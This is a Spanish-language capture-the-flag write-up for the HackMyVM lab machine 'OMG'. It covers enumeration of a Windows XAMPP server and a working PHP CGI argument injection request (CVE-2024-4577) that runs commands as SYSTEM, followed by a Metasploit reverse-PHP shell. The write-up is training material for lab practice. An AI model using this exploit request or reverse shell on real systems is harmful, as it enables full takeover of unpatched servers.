cd ~/blog

~/writeups/hmv/123-omg.md

123 - OMG

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
Information Disclosure de versión y locale de XAMPPPHP CGI Argument Injection RCE (CVE-2024-4577)Remote Code Execution como NT AUTHORITY\SYSTEM
hackmyvm.eu/machines/machine.php?vm=OMG

~1 min de lectura


Enumeración de servicios

El escaneo identifica una máquina Windows con Apache en HTTP y HTTPS, SMB y WinRM. La aplicación web utiliza XAMPP, por lo que necesitamos determinar tanto su versión de PHP como la configuración regional de Windows antes de evaluar vulnerabilidades del modo CGI:

❯ nmap -sCV -p 80,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49670 -oN 02-targeted.txt 192.168.1.12
...
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd
|_http-title: Free Website Templates
443/tcp   open  ssl/http      Apache httpd
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Identificación de XAMPP y su locale

La enumeración de contenido descubre /xampp/.version. El archivo revela XAMPP 8.2.12 y LAN=日本語, es decir, un entorno configurado en japonés:

❯ gobuster dir -u 'http://192.168.1.12/xampp' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/quickhits.txt -r
...
/.version             (Status: 200) [Size: 20]
...

❯ curl http://192.168.1.12/xampp/.version
8.2.12
LAN=日本語

Explotación de PHP CGI Argument Injection

La combinación de PHP CGI sobre Windows y una página de códigos vulnerable hace aplicable PHP CGI Argument Injection (CVE-2024-4577). Durante la conversión de caracteres, %ad puede interpretarse como un guion normal; de esta forma la URL introduce opciones -d que habilitan allow_url_include y establecen auto_prepend_file=php://input. Como consecuencia, PHP interpreta el cuerpo de la petición como código:

GET /php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.1.12
Redirect-Status: 200
Content-Length: 26

<?=`"whoami"`; exit();
HTTP/1.1 200 OK
...
nt authority\system

La respuesta a whoami confirma ejecución remota y muestra que Apache se ejecuta como NT AUTHORITY\SYSTEM.

Obtención de una shell estable

Para evitar enviar un comando distinto en cada petición, usamos el módulo de Metasploit correspondiente y configuramos una carga útil PHP inversa:

msf6 > use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf6 exploit(...) > set payload php/reverse_php
msf6 exploit(...) > set rhosts 192.168.1.12
msf6 exploit(...) > run
[+] The target is vulnerable. Apache
[*] Command shell session 2 opened ...

whoami
nt authority\system

La nueva sesión vuelve a confirmar el contexto SYSTEM, por lo que no es necesaria una escalada de privilegios adicional. Navegamos al escritorio de Administrator, donde se encuentran ambas flags:

cd C:\Users\Administrator\Desktop

Recuperamos las flags y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados